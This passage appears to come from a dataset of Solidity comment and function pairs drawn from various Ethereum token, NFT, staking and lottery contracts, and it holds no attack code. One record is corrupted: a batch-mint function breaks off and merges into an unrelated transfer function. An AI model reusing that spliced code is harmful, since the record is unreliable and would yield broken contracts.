onlyOwner {\n require(_lpTokens.length == _weights.length, \"Blacksmith: size don't match\");\n for (uint256 i = 0; i < _lpTokens.length; i++) {\n addPool(_lpTokens[i], _weights[i]);\n }\n }", "version": "0.7.4"} {"comment": "/// @notice always assign the same startTime and endTime for both CLAIM and NOCLAIM pool, one bonusToken can be used for only one set of CLAIM and NOCLAIM pools", "function_code": "function addBonusToken(\n address _lpToken,\n address _bonusToken,\n uint256 _startTime,\n uint256 _endTime,\n uint256 _totalBonus\n ) external override {\n IERC20 bonusToken = IERC20(_bonusToken);\n require(pools[_lpToken].lastUpdatedAt != 0, \"Blacksmith: pool does NOT exist\");\n require(allowBonusTokens[_bonusToken] == 1, \"Blacksmith: bonusToken not allowed\");\n\n BonusToken memory currentBonusToken = bonusTokens[_lpToken];\n if (currentBonusToken.totalBonus != 0) {\n require(currentBonusToken.endTime.add(WEEK) < block.timestamp, \"Blacksmith: last bonus period hasn't ended\");\n require(IERC20(currentBonusToken.addr).balanceOf(address(this)) == 0, \"Blacksmith: last bonus not all claimed\");\n }\n\n require(_startTime >= block.timestamp && _endTime > _startTime, \"Blacksmith: messed up timeline\");\n require(_totalBonus > 0 && bonusToken.balanceOf(msg.sender) >= _totalBonus, \"Blacksmith: incorrect total rewards\");\n\n uint256 balanceBefore = bonusToken.balanceOf(address(this));\n bonusToken.safeTransferFrom(msg.sender, address(this), _totalBonus);\n uint256 balanceAfter = bonusToken.balanceOf(address(this));\n require(balanceAfter > balanceBefore, \"Blacksmith: incorrect total rewards\");\n\n bonusTokens[_lpToken] = BonusToken({\n addr: _bonusToken,\n startTime: _startTime,\n endTime: _endTime,\n totalBonus: balanceAfter.sub(balanceBefore),\n accBonusPerToken: 0,\n lastUpdatedAt: _startTime\n });\n }", "version": "0.7.4"} {"comment": "/// @notice collect dust to treasury", "function_code": "function collectDust(address _token) external override {\n Pool memory pool = pools[_token];\n require(pool.lastUpdatedAt == 0, \"Blacksmith: lpToken, not allowed\");\n require(allowBonusTokens[_token] == 0, \"Blacksmith: bonusToken, not allowed\");\n\n IERC20 token = IERC20(_token);\n uint256 amount = token.balanceOf(address(this));\n require(amount > 0, \"Blacksmith: 0 to collect\");\n\n if (_token == address(0)) { // token address(0) == ETH\n payable(treasury).transfer(amount);\n } else {\n token.safeTransfer(treasury, amount);\n }\n }", "version": "0.7.4"} {"comment": "/// @notice collect bonus token dust to treasury", "function_code": "function collectBonusDust(address _lpToken) external override {\n BonusToken memory bonusToken = bonusTokens[_lpToken];\n require(bonusToken.endTime.add(WEEK) < block.timestamp, \"Blacksmith: bonusToken, not ready\");\n\n IERC20 token = IERC20(bonusToken.addr);\n uint256 amount = token.balanceOf(address(this));\n require(amount > 0, \"Blacksmith: 0 to collect\");\n token.safeTransfer(treasury, amount);\n }", "version": "0.7.4"} {"comment": "/// @notice tranfer upto what the contract has", "function_code": "function _safeTransfer(address _token, uint256 _amount) private nonReentrant {\n IERC20 token = IERC20(_token);\n uint256 balance = token.balanceOf(address(this));\n if (balance > _amount) {\n token.safeTransfer(msg.sender, _amount);\n } else if (balance > 0) {\n token.safeTransfer(msg.sender, balance);\n }\n }", "version": "0.7.4"} {"comment": "// mint all tokens to the owner\n// function _reserve() private {\n// address payable sender = msgSender();\n// for (uint256 i = 0; i < maxNftSupply; i++) {\n// _safeMint(sender, i, \"\");\n// }\n// }", "function_code": "function buy(uint256 tokenId) public payable {\n require(activeContract, \"Contract is not active\");\n uint kind = tokenId / MAX_TOKENS_PER_KIND;\n require(kind < contracts.length, \"TokenId error\");\n uint extTokenId = tokenId % MAX_TOKENS_PER_KIND;\n require(contracts[kind].ownerOf(extTokenId) == msgSender(), \"You do not own the item\");\n if (!ifWhitelist(msgSender())){\n require(msg.value >= price - 100, \"not enough payment\");\n }\n else{\n deladd(msgSender());\n }\n _safeMint(msgSender(), tokenId);\n }", "version": "0.8.7"} {"comment": "/**\n * @dev Mint tokens for community\n */", "function_code": "function mintCommunityTokens(uint256 numberOfTokens) public onlyOwner {\n require(numberOfTokens <= MAX_TOTAL_TOKENS);\n require(\n numberOfTokens <= MAX_TOTAL_TOKENS,\n \"Can not mint more than the total supply.\"\n );\n require(\n totalSupply().add(numberOfTokens) <= MAX_TOTAL_TOKENS,\n \"Minting would exceed max supply of Tokens\"\n );\n uint256 supply = totalSupply();\n for (uint256 i = 0; i < numberOfTokens; i++) {\n if (totalSupply() < MAX_TOTAL_TOKENS) {\n _safeMint(msg.sender, supply + i);\n }\n }\n }", "version": "0.7.0"} {"comment": "/**\n * @dev Mint token to an address\n */", "function_code": "function mintTokenTransfer(address to, uint256 numberOfTokens)\n public\n onlyOwner\n {\n require(numberOfTokens <= MAX_TOTAL_TOKENS);\n require(\n numberOfTokens <= MAX_TOTAL_TOKENS,\n \"Can not mint more than the total supply.\"\n );\n require(\n totalSupply().add(numberOfTokens) <= MAX_TOTAL_TOKENS,\n \"Minting would exceed max supply of Tokens\"\n );\n require(\n address(to) != address(this),\n \"Cannot mint to contract itself.\"\n );\n require(address(to) != address(0), \"Cannot mint to the null address.\");\n uint256 supply = totalSupply();\n for (uint256 i = 0; i < numberOfTokens; i++) {\n if (totalSupply() < MAX_TOTAL_TOKENS) {\n _safeMint(to, supply + i);\n }\n }\n }", "version": "0.7.0"} {"comment": "/**\n * toss a coin to yung wknd\n * oh valley of plenty\n */", "function_code": "function withdraw(address _to) public {\n require(IERC721(_creator).ownerOf(_tokenId) == msg.sender, \"Only collector can withdraw\");\n require(numMints == 100, \"Can only withdraw when sold out\");\n // Have you ever waltzed into someone's home and taken something without their permission?\n uint balance = address(this).balance;\n uint tax = balance * 69 / 1000;\n uint kept = balance - tax;\n\n // The taxman cometh\n payable(_collector).transfer(tax);\n payable(_to).transfer(kept);\n }", "version": "0.8.7"} {"comment": "//When transfer tokens decrease dividendPayments for sender and increase for receiver", "function_code": "function transfer(address _to, uint256 _value) public returns (bool) {\r\n // balance before transfer\r\n uint256 oldBalanceFrom = balances[msg.sender];\r\n\r\n // invoke super function with requires\r\n bool isTransferred = super.transfer(_to, _value);\r\n\r\n uint256 transferredClaims = dividendPayments[msg.sender].mul(_value).div(oldBalanceFrom);\r\n dividendPayments[msg.sender] = dividendPayments[msg.sender].sub(transferredClaims);\r\n dividendPayments[_to] = dividendPayments[_to].add(transferredClaims);\r\n\r\n return isTransferred;\r\n }", "version": "0.4.24"} {"comment": "//When transfer tokens decrease dividendPayments for token owner and increase for receiver", "function_code": "function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {\r\n // balance before transfer\r\n uint256 oldBalanceFrom = balances[_from];\r\n\r\n // invoke super function with requires\r\n bool isTransferred = super.transferFrom(_from, _to, _value);\r\n\r\n uint256 transferredClaims = dividendPayments[_from].mul(_value).div(oldBalanceFrom);\r\n dividendPayments[_from] = dividendPayments[_from].sub(transferredClaims);\r\n dividendPayments[_to] = dividendPayments[_to].add(transferredClaims);\r\n\r\n return isTransferred;\r\n }", "version": "0.4.24"} {"comment": "// Get bonus percent", "function_code": "function _getBonusPercent() internal view returns(uint256) {\r\n\r\n if (now < endPeriodA) {\r\n return 40;\r\n }\r\n if (now < endPeriodB) {\r\n return 25;\r\n }\r\n if (now < endPeriodC) {\r\n return 20;\r\n }\r\n\r\n return 15;\r\n }", "version": "0.4.24"} {"comment": "// Success finish of PreSale", "function_code": "function finishPreSale() public onlyOwner {\r\n require(totalRaised >= softCap);\r\n require(now > endTime);\r\n\r\n // withdrawal all eth from contract\r\n _forwardFunds(address(this).balance);\r\n\r\n // withdrawal all T4T tokens from contract\r\n _forwardT4T(t4tToken.balanceOf(address(this)));\r\n\r\n // transfer ownership of tokens to owner\r\n icsToken.transferOwnership(owner);\r\n hicsToken.transferOwnership(owner);\r\n }", "version": "0.4.24"} {"comment": "// buy tokens - helper function\n// @param _beneficiary address of beneficiary\n// @param _value of tokens (1 token = 10^18)", "function_code": "function _buyTokens(address _beneficiary, uint256 _value) internal {\r\n // calculate HICS token amount\r\n uint256 valueHics = _value.div(5); // 20% HICS and 80% ICS Tokens\r\n\r\n if (_value >= hicsTokenPrice\r\n && hicsToken.totalSupply().add(_getTokenNumberWithBonus(valueHics)) < capHicsToken) {\r\n // 20% HICS and 80% ICS Tokens\r\n _buyIcsTokens(_beneficiary, _value - valueHics);\r\n _buyHicsTokens(_beneficiary, valueHics);\r\n } else {\r\n // 100% of ICS Tokens\r\n _buyIcsTokens(_beneficiary, _value);\r\n }\r\n\r\n // update states\r\n uint256 tokensWithBonus = _getTokenNumberWithBonus(_value);\r\n totalTokensEmitted = totalTokensEmitted.add(tokensWithBonus);\r\n balances[_beneficiary] = balances[_beneficiary].add(tokensWithBonus);\r\n\r\n totalRaised = totalRaised.add(_value);\r\n }", "version": "0.4.24"} {"comment": "// buy tokens for T4T tokens\n// @param _beneficiary address of beneficiary", "function_code": "function buyTokensT4T(address _beneficiary) public saleIsOn {\r\n require(_beneficiary != address(0));\r\n\r\n uint256 valueT4T = t4tToken.allowance(_beneficiary, address(this));\r\n\r\n // check minimumInvest\r\n uint256 value = valueT4T.mul(rateT4T);\r\n require(value >= minimumInvest);\r\n\r\n // transfer T4T from _beneficiary to this contract\r\n require(t4tToken.transferFrom(_beneficiary, address(this), valueT4T));\r\n\r\n _buyTokens(_beneficiary, value);\r\n\r\n // only for buy using T4T tokens\r\n t4tRaised = t4tRaised.add(valueT4T);\r\n balancesForRefundT4T[_beneficiary] = balancesForRefundT4T[_beneficiary].add(valueT4T);\r\n }", "version": "0.4.24"} {"comment": "// low level token purchase function\n// @param _beneficiary address of beneficiary", "function_code": "function buyTokens(address _beneficiary) saleIsOn public payable {\r\n require(_beneficiary != address(0));\r\n\r\n uint256 weiAmount = msg.value;\r\n uint256 value = weiAmount.mul(rate);\r\n require(value >= minimumInvest);\r\n\r\n _buyTokens(_beneficiary, value);\r\n\r\n // only for buy using PreSale contract\r\n weiRaised = weiRaised.add(weiAmount);\r\n balancesForRefund[_beneficiary] = balancesForRefund[_beneficiary].add(weiAmount);\r\n }", "version": "0.4.24"} {"comment": "// URI will be returned as baseUri/tokenId", "function_code": "function safeMint(address to, string memory baseUri) public onlyOwner {\r\n require(!_supplyIsLocked, \"SussyKneelsNFT: Supply has been permanently locked, no minting is allowed.\");\r\n uint16 tokenId = _tokenIdCounter + 1;\r\n _safeMint(to, tokenId);\r\n _baseUri = baseUri;\r\n _tokenIdCounter = tokenId;\r\n }", "version": "0.8.12"} {"comment": "// URIs will be returned baseUri/tokenId", "function_code": "function safeMintBatch(address to, string memory baseUri, uint16 numTokens) public onlyOwner {\r\n require(!_supplyIsLocked, \"SussyKneelsNFT: Supply has been permanently locked, no minting is allowed.\");\r\n uint16 counter = _tokenIdCounter;\r\n for(uint16 i=0; i= _amount)\r\n && (_amount > 0)\r\n && ((safeAdd(balances[_to],_amount) > balances[_to]))) {\r\n balances[msg.sender] = safeSub(balances[msg.sender], _amount);\r\n balances[_to] = safeAdd(balances[_to], _amount);\r\n Transfer(msg.sender, _to, _amount);\r\n return true;\r\n } else {\r\n return false;\r\n }\r\n }", "version": "0.4.18"} {"comment": "// ERC20 token transferFrom function with additional safety", "function_code": "function transferFrom(\r\n address _from,\r\n address _to,\r\n uint256 _amount) public returns (bool success) {\r\n require(!(_to == 0x0));\r\n if ((balances[_from] >= _amount)\r\n && (allowed[_from][msg.sender] >= _amount)\r\n && (_amount > 0)\r\n && (safeAdd(balances[_to],_amount) > balances[_to])) {\r\n balances[_from] = safeSub(balances[_from], _amount);\r\n allowed[_from][msg.sender] = safeSub((allowed[_from][msg.sender]),_amount);\r\n balances[_to] = safeAdd(balances[_to], _amount);\r\n Transfer(_from, _to, _amount);\r\n return true;\r\n } else {\r\n return false;\r\n }\r\n }", "version": "0.4.18"} {"comment": "// ERC20 allow _spender to withdraw, multiple times, up to the _value amount", "function_code": "function approve(address _spender, uint256 _amount) public returns (bool success) {\r\n //Fix for known double-spend https://docs.google.com/document/d/1YLPtQxZu1UAvO9cZ1O2RPXBbT0mooh4DYKjA_jp-RLM/edit#\r\n //Input must either set allow amount to 0, or have 0 already set, to workaround issue\r\n require((_amount == 0) || (allowed[msg.sender][_spender] == 0));\r\n require((_amount == 0) || (allowed[msg.sender][_spender] == 0));\r\n allowed[msg.sender][_spender] = _amount;\r\n Approval(msg.sender, _spender, _amount);\r\n return true;\r\n }", "version": "0.4.18"} {"comment": "// ERC20 Updated decrease approval process (to prevent double-spend attack but remove need to zero allowance before setting)", "function_code": "function decreaseApproval (address _spender, uint _subtractedValue) public returns (bool success) {\r\n uint oldValue = allowed[msg.sender][_spender];\r\n\r\n if (_subtractedValue > oldValue) {\r\n allowed[msg.sender][_spender] = 0;\r\n } else {\r\n allowed[msg.sender][_spender] = safeSub(oldValue,_subtractedValue);\r\n }\r\n\r\n // report new approval amount\r\n Approval(msg.sender, _spender, allowed[msg.sender][_spender]);\r\n return true;\r\n }", "version": "0.4.18"} {"comment": "/* Sell position and collect claim*/", "function_code": "function sell(uint256 amount) {\r\n if(claimStatus == false) throw; // checks if party can make a claim\r\n if (balanceOf[msg.sender] < amount ) throw; // checks if the sender has enough to sell\r\n balanceOf[this] += amount; // adds the amount to owner's balance\r\n balanceOf[msg.sender] -= amount; // subtracts the amount from seller's balance\r\n if (!msg.sender.send(claim)) { // sends ether to the seller. It's important\r\n throw; // to do this last to avoid recursion attacks\r\n } else {\r\n Transfer(msg.sender, this, amount); // executes an event reflecting on the change\r\n } \r\n }", "version": "0.4.6"} {"comment": "/**\r\n * @notice tick to increase holdings\r\n */", "function_code": "function tick() public {\r\n uint _current = block.number;\r\n uint _diff = _current.sub(lastTick);\r\n \r\n if (_diff > 0) {\r\n lastTick = _current;\r\n \r\n _diff = balances[address(pool)].mul(_diff).div(700000); // 1% every 7000 blocks\r\n uint _minting = _diff.div(2);\r\n if (_minting > 0) {\r\n _transferTokens(address(pool), address(this), _minting);\r\n pool.sync();\r\n _mint(address(this), _minting);\r\n // % of tokens that go to LPs\r\n allowances[address(this)][address(rewardDistribution)] = _minting;\r\n rewardDistribution.notifyRewardAmount(_minting);\r\n \r\n emit Tick(_current, _diff);\r\n }\r\n }\r\n }", "version": "0.5.17"} {"comment": "// show unlocked balance of an account", "function_code": "function balanceUnlocked(address _address) public view returns (uint256 _balance) {\r\n _balance = balanceP[_address];\r\n uint256 i = 0;\r\n while (i < lockNum[_address]) {\r\n if (add(now, earlier) >= add(lockTime[_address][i], later)) _balance = add(_balance, lockValue[_address][i]);\r\n i++;\r\n }\r\n return _balance;\r\n }", "version": "0.4.24"} {"comment": "// show timelocked balance of an account", "function_code": "function balanceLocked(address _address) public view returns (uint256 _balance) {\r\n _balance = 0;\r\n uint256 i = 0;\r\n while (i < lockNum[_address]) {\r\n if (add(now, earlier) < add(lockTime[_address][i], later)) _balance = add(_balance, lockValue[_address][i]);\r\n i++;\r\n }\r\n return _balance;\r\n }", "version": "0.4.24"} {"comment": "// show timelocks in an account", "function_code": "function showTime(address _address) public view validAddress(_address) returns (uint256[] _time) {\r\n uint i = 0;\r\n uint256[] memory tempLockTime = new uint256[](lockNum[_address]);\r\n while (i < lockNum[_address]) {\r\n tempLockTime[i] = sub(add(lockTime[_address][i], later), earlier);\r\n i++;\r\n }\r\n return tempLockTime;\r\n }", "version": "0.4.24"} {"comment": "// Calculate and process the timelock states of an account", "function_code": "function calcUnlock(address _address) private {\r\n uint256 i = 0;\r\n uint256 j = 0;\r\n uint256[] memory currentLockTime;\r\n uint256[] memory currentLockValue;\r\n uint256[] memory newLockTime = new uint256[](lockNum[_address]);\r\n uint256[] memory newLockValue = new uint256[](lockNum[_address]);\r\n currentLockTime = lockTime[_address];\r\n currentLockValue = lockValue[_address];\r\n while (i < lockNum[_address]) {\r\n if (add(now, earlier) >= add(currentLockTime[i], later)) {\r\n balanceP[_address] = add(balanceP[_address], currentLockValue[i]);\r\n emit TokenUnlocked(_address, currentLockValue[i]);\r\n } else {\r\n newLockTime[j] = currentLockTime[i];\r\n newLockValue[j] = currentLockValue[i];\r\n j++;\r\n }\r\n i++;\r\n }\r\n uint256[] memory trimLockTime = new uint256[](j);\r\n uint256[] memory trimLockValue = new uint256[](j);\r\n i = 0;\r\n while (i < j) {\r\n trimLockTime[i] = newLockTime[i];\r\n trimLockValue[i] = newLockValue[i];\r\n i++;\r\n }\r\n lockTime[_address] = trimLockTime;\r\n lockValue[_address] = trimLockValue;\r\n lockNum[_address] = j;\r\n }", "version": "0.4.24"} {"comment": "// standard ERC20 transfer", "function_code": "function transfer(address _to, uint256 _value) public validAddress(_to) returns (bool success) {\r\n if (lockNum[msg.sender] > 0) calcUnlock(msg.sender);\r\n require(balanceP[msg.sender] >= _value && _value >= 0);\r\n balanceP[msg.sender] = sub(balanceP[msg.sender], _value);\r\n balanceP[_to] = add(balanceP[_to], _value);\r\n emit Transfer(msg.sender, _to, _value);\r\n return true;\r\n }", "version": "0.4.24"} {"comment": "// transfer Token with timelocks", "function_code": "function transferLocked(address _to, uint256[] _time, uint256[] _value) public validAddress(_to) returns (bool success) {\r\n require(_value.length == _time.length);\r\n\r\n if (lockNum[msg.sender] > 0) calcUnlock(msg.sender);\r\n uint256 i = 0;\r\n uint256 totalValue = 0;\r\n while (i < _value.length) {\r\n totalValue = add(totalValue, _value[i]);\r\n i++;\r\n }\r\n require(balanceP[msg.sender] >= totalValue && totalValue >= 0);\r\n i = 0;\r\n while (i < _time.length) {\r\n balanceP[msg.sender] = sub(balanceP[msg.sender], _value[i]);\r\n lockTime[_to].length = lockNum[_to]+1;\r\n lockValue[_to].length = lockNum[_to]+1;\r\n lockTime[_to][lockNum[_to]] = add(now, _time[i]);\r\n lockValue[_to][lockNum[_to]] = _value[i];\r\n\r\n // emit custom TransferLocked event\r\n emit TransferLocked(msg.sender, _to, lockTime[_to][lockNum[_to]], lockValue[_to][lockNum[_to]]);\r\n\r\n // emit standard Transfer event for wallets\r\n emit Transfer(msg.sender, _to, lockValue[_to][lockNum[_to]]);\r\n lockNum[_to]++;\r\n i++;\r\n }\r\n return true;\r\n }", "version": "0.4.24"} {"comment": "// lockers set by owners may transfer Token with timelocks", "function_code": "function transferLockedFrom(address _from, address _to, uint256[] _time, uint256[] _value) public\r\n\t validAddress(_from) validAddress(_to) returns (bool success) {\r\n require(locker[msg.sender]);\r\n require(_value.length == _time.length);\r\n\r\n if (lockNum[_from] > 0) calcUnlock(_from);\r\n uint256 i = 0;\r\n uint256 totalValue = 0;\r\n while (i < _value.length) {\r\n totalValue = add(totalValue, _value[i]);\r\n i++;\r\n }\r\n require(balanceP[_from] >= totalValue && totalValue >= 0 && allowance[_from][msg.sender] >= totalValue);\r\n i = 0;\r\n while (i < _time.length) {\r\n balanceP[_from] = sub(balanceP[_from], _value[i]);\r\n allowance[_from][msg.sender] = sub(allowance[_from][msg.sender], _value[i]);\r\n lockTime[_to].length = lockNum[_to]+1;\r\n lockValue[_to].length = lockNum[_to]+1;\r\n lockTime[_to][lockNum[_to]] = add(now, _time[i]);\r\n lockValue[_to][lockNum[_to]] = _value[i];\r\n\r\n // emit custom TransferLocked event\r\n emit TransferLocked(_from, _to, lockTime[_to][lockNum[_to]], lockValue[_to][lockNum[_to]]);\r\n\r\n // emit standard Transfer event for wallets\r\n emit Transfer(_from, _to, lockValue[_to][lockNum[_to]]);\r\n lockNum[_to]++;\r\n i++;\r\n }\r\n return true;\r\n }", "version": "0.4.24"} {"comment": "// standard ERC20 transferFrom", "function_code": "function transferFrom(address _from, address _to, uint256 _value) public validAddress(_from) validAddress(_to) returns (bool success) {\r\n if (lockNum[_from] > 0) calcUnlock(_from);\r\n require(balanceP[_from] >= _value && _value >= 0 && allowance[_from][msg.sender] >= _value);\r\n allowance[_from][msg.sender] = sub(allowance[_from][msg.sender], _value);\r\n balanceP[_from] = sub(balanceP[_from], _value);\r\n balanceP[_to] = add(balanceP[_to], _value);\r\n emit Transfer(_from, _to, _value);\r\n return true;\r\n }", "version": "0.4.24"} {"comment": "/** Path stuff **/", "function_code": "function getPath(address tokent,bool isSell) internal view returns (address[] memory path){\n path = new address[](2);\n path[0] = isSell ? tokent : WETH;\n path[1] = isSell ? WETH : tokent;\n return path;\n }", "version": "0.6.12"} {"comment": "/** Path stuff end **/", "function_code": "function rebalance(address rewardRecp) external discountCHI override returns (uint256) {\n require(msg.sender == address(token), \"only token\");\n swapEthForTokens();\n uint256 lockableBalance = token.balanceOf(address(this));\n uint256 callerReward = token.getCallerCut(lockableBalance);\n token.transfer(rewardRecp, callerReward);\n if(shouldDirectBurn) {\n token.burn(lockableBalance.sub(callerReward,\"Underflow on burn\"));\n }\n else {\n token.transfer(burnAddr,lockableBalance.sub(callerReward,\"Underflow on burn\"));\n }\n return lockableBalance.sub(callerReward,\"underflow on return\");\n }", "version": "0.6.12"} {"comment": "/**\r\n * @dev Burns a specific amount of tokens from an address\r\n *\r\n * @param _from address The address which you want to send tokens from\r\n * @param _value uint256 The amount of token to be burned.\r\n */", "function_code": "function burnFrom(address _from, uint256 _value) public {\r\n require(_value <= allowed[_from][msg.sender]);\r\n\r\n uint256 lastBalance = balanceOfAt(_from, block.number);\r\n require(_value <= lastBalance);\r\n\r\n allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);\r\n\r\n address burner = _from;\r\n uint256 curTotalSupply = totalSupply();\r\n\r\n updateValueAtNow(totalSupplyHistory, curTotalSupply.sub(_value));\r\n updateValueAtNow(balances[burner], lastBalance.sub(_value));\r\n\r\n emit Burn(burner, _value);\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @dev This is the actual transfer function in the token contract, it can\r\n * @dev only be called by other functions in this contract.\r\n *\r\n * @param _from The address holding the tokens being transferred\r\n * @param _to The address of the recipient\r\n * @param _value The amount of tokens to be transferred\r\n * @param _lastBalance The last balance of from\r\n * @return True if the transfer was successful\r\n */", "function_code": "function doTransfer(address _from, address _to, uint256 _value, uint256 _lastBalance) internal returns (bool) {\r\n if (_value == 0) {\r\n return true;\r\n }\r\n\r\n updateValueAtNow(balances[_from], _lastBalance.sub(_value));\r\n\r\n uint256 previousBalance = balanceOfAt(_to, block.number);\r\n updateValueAtNow(balances[_to], previousBalance.add(_value));\r\n\r\n emit Transfer(_from, _to, _value);\r\n return true;\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @dev Mints `quantity` tokens and transfers them to `to`.\r\n *\r\n * Requirements:\r\n *\r\n * - there must be `quantity` tokens remaining unminted in the total collection.\r\n * - `to` cannot be the zero address.\r\n * - `quantity` cannot be larger than the max batch size.\r\n *\r\n * Emits a {Transfer} event.\r\n */", "function_code": "function _safeMint(\r\n address to,\r\n uint256 quantity,\r\n bytes memory _data\r\n ) internal {\r\n uint256 startTokenId = currentIndex;\r\n require(to != address(0), \"ERC721A: mint to the zero address\");\r\n // We know if the first token in the batch doesn't exist, the other ones don't as well, because of serial ordering.\r\n require(!_exists(startTokenId), \"ERC721A: token already minted\");\r\n require(quantity <= maxBatchSize, \"ERC721A: quantity to mint too high\");\r\n\r\n _beforeTokenTransfers(address(0), to, startTokenId, quantity);\r\n\r\n AddressData memory addressData = _addressData[to];\r\n _addressData[to] = AddressData(\r\n addressData.balance + uint128(quantity),\r\n addressData.numberMinted + uint128(quantity)\r\n );\r\n _ownerships[startTokenId] = TokenOwnership(to, uint64(block.timestamp));\r\n\r\n uint256 updatedIndex = startTokenId;\r\n\r\n for (uint256 i = 0; i < quantity; i++) {\r\n emit Transfer(address(0), to, updatedIndex);\r\n require(\r\n _checkOnERC721Received(address(0), to, updatedIndex, _data),\r\n \"ERC721A: transfer to non ERC721Receiver implementer\"\r\n );\r\n updatedIndex++;\r\n }\r\n\r\n currentIndex = updatedIndex;\r\n _afterTokenTransfers(address(0), to, startTokenId, quantity);\r\n }", "version": "0.8.9"} {"comment": "/**\r\n * @dev Transfers `tokenId` from `from` to `to`.\r\n *\r\n * Requirements:\r\n *\r\n * - `to` cannot be the zero address.\r\n * - `tokenId` token must be owned by `from`.\r\n *\r\n * Emits a {Transfer} event.\r\n */", "function_code": "function _transfer(\r\n address from,\r\n address to,\r\n uint256 tokenId\r\n ) private {\r\n TokenOwnership memory prevOwnership = ownershipOf(tokenId);\r\n\r\n bool isApprovedOrOwner = (_msgSender() == prevOwnership.addr ||\r\n getApproved(tokenId) == _msgSender() ||\r\n isApprovedForAll(prevOwnership.addr, _msgSender()));\r\n\r\n require(\r\n isApprovedOrOwner,\r\n \"ERC721A: transfer caller is not owner nor approved\"\r\n );\r\n\r\n require(\r\n prevOwnership.addr == from,\r\n \"ERC721A: transfer from incorrect owner\"\r\n );\r\n require(to != address(0), \"ERC721A: transfer to the zero address\");\r\n\r\n _beforeTokenTransfers(from, to, tokenId, 1);\r\n\r\n // Clear approvals from the previous owner\r\n _approve(address(0), tokenId, prevOwnership.addr);\r\n\r\n _addressData[from].balance -= 1;\r\n _addressData[to].balance += 1;\r\n _ownerships[tokenId] = TokenOwnership(to, uint64(block.timestamp));\r\n\r\n // If the ownership slot of tokenId+1 is not explicitly set, that means the transfer initiator owns it.\r\n // Set the slot of tokenId+1 explicitly in storage to maintain correctness for ownerOf(tokenId+1) calls.\r\n uint256 nextTokenId = tokenId + 1;\r\n if (_ownerships[nextTokenId].addr == address(0)) {\r\n if (_exists(nextTokenId)) {\r\n _ownerships[nextTokenId] = TokenOwnership(\r\n prevOwnership.addr,\r\n prevOwnership.startTimestamp\r\n );\r\n }\r\n }\r\n\r\n emit Transfer(from, to, tokenId);\r\n _afterTokenTransfers(from, to, tokenId, 1);\r\n }", "version": "0.8.9"} {"comment": "// Send ETH to winners", "function_code": "function distributeFunds() internal\r\n {\r\n // determine who is lose\r\n uint8 loser = uint8(getRandom() % players.length + 1);\r\n\r\n for (uint i = 0; i <= players.length - 1; i++) {\r\n // if it is loser - skip\r\n if (loser == i + 1) {\r\n emit playerLose(players[i], loser);\r\n continue;\r\n }\r\n\r\n // pay prize\r\n if (players[i].send(1200 finney)) {\r\n emit playerWin(players[i]);\r\n }\r\n }\r\n\r\n // gorgona fee\r\n feeAddr.transfer(address(this).balance);\r\n\r\n players.length = 0;\r\n roundNumber ++;\r\n\r\n emit newRound(roundNumber);\r\n }", "version": "0.4.24"} {"comment": "// verified", "function_code": "function splitSignature(bytes memory _sig)\n internal\n pure\n returns (\n uint8,\n bytes32,\n bytes32\n )\n {\n require(_sig.length == 65, \"Invalid signature length\");\n\n uint8 v;\n bytes32 r;\n bytes32 s;\n assembly {\n r := mload(add(_sig, 32))\n s := mload(add(_sig, 64))\n v := byte(0, mload(add(_sig, 96)))\n }\n return (v, r, s);\n }", "version": "0.8.9"} {"comment": "/**\r\n * @dev giveTickets buy ticket and give it to another player\r\n * @param _user The address of the player that will receive the ticket.\r\n * @param _drawDate The draw date of tickets.\r\n * @param _balls The ball numbers of the tickets.\r\n */", "function_code": "function giveTickets(address _user,uint32 _drawDate, uint8[] _balls) \r\n\tonlyOwner\r\n\tpublic\r\n\t{\r\n\t require(!_results[_drawDate].hadDraws);\r\n\t uint32[] memory _idTickets = new uint32[](_balls.length/5);\r\n\t uint32 id = idTicket;\r\n\t\t\r\n\t for(uint8 i = 0; i< _balls.length; i+=5){\r\n\t require(checkRedBall(_balls[i+4]));\r\n\t require(checkBall(_balls[i]));\r\n\t require(checkBall(_balls[i+1]));\r\n\t require(checkBall(_balls[i+2]));\r\n\t require(checkBall(_balls[i+3]));\r\n\t id++;\r\n \t tickets[id].player = _user;\r\n \t tickets[id].drawDate = _drawDate;\r\n \t tickets[id].price = ticketInfo.priceTicket;\r\n \t tickets[id].redBall = _balls[i+4];\r\n \t tickets[id].ball1 = _balls[i];\r\n \t tickets[id].ball2 = _balls[i + 1];\r\n \t tickets[id].ball3 = _balls[i +2];\r\n \t tickets[id].ball4 = _balls[i + 3];\r\n\t\t _draws[_drawDate].tickets[_draws[_drawDate].count] = id;\r\n \t _draws[_drawDate].count ++;\r\n \t _idTickets[i/5] = id;\r\n\t }\r\n\t idTicket = id;\r\n\t emit logBuyTicketSumary(_user,_idTickets,_drawDate);\r\n\t}", "version": "0.4.24"} {"comment": "/**\r\n * @dev addTickets allow admin add ticket to player for buy ticket fail\r\n * @param _user The address of the player that will receive the ticket.\r\n * @param _drawDate The draw date of tickets.\r\n * @param _balls The ball numbers of the tickets.\r\n * @param _price The price of the tickets.\r\n */", "function_code": "function addTickets(address _user,uint32 _drawDate, uint64 _price, uint8[] _balls) \r\n\tonlyOwner\r\n\tpublic\r\n\t{\r\n\t require(!_results[_drawDate].hadDraws);\r\n\t uint32[] memory _idTickets = new uint32[](_balls.length/5);\r\n\t uint32 id = idTicket;\r\n\t\t\r\n\t for(uint8 i = 0; i< _balls.length; i+=5){\r\n\t require(checkRedBall(_balls[i+4]));\r\n\t require(checkBall(_balls[i]));\r\n\t require(checkBall(_balls[i+1]));\r\n\t require(checkBall(_balls[i+2]));\r\n\t require(checkBall(_balls[i+3]));\r\n\t id++;\r\n \t tickets[id].player = _user;\r\n \t tickets[id].drawDate = _drawDate;\r\n \t tickets[id].price = _price;\r\n \t tickets[id].redBall = _balls[i+4];\r\n \t tickets[id].ball1 = _balls[i];\r\n \t tickets[id].ball2 = _balls[i + 1];\r\n \t tickets[id].ball3 = _balls[i +2];\r\n \t tickets[id].ball4 = _balls[i + 3];\r\n\t\t _draws[_drawDate].tickets[_draws[_drawDate].count] = id;\r\n \t _draws[_drawDate].count ++;\r\n \t _idTickets[i/5] = id;\r\n\t }\r\n\t idTicket = id;\r\n\t emit logBuyTicketSumary(_user,_idTickets,_drawDate);\r\n\t}", "version": "0.4.24"} {"comment": "/**\r\n * @dev doDraws buy ticket and give it to another player\r\n * @param _drawDate The draw date of tickets.\r\n * @param _result The result of draw.\r\n */", 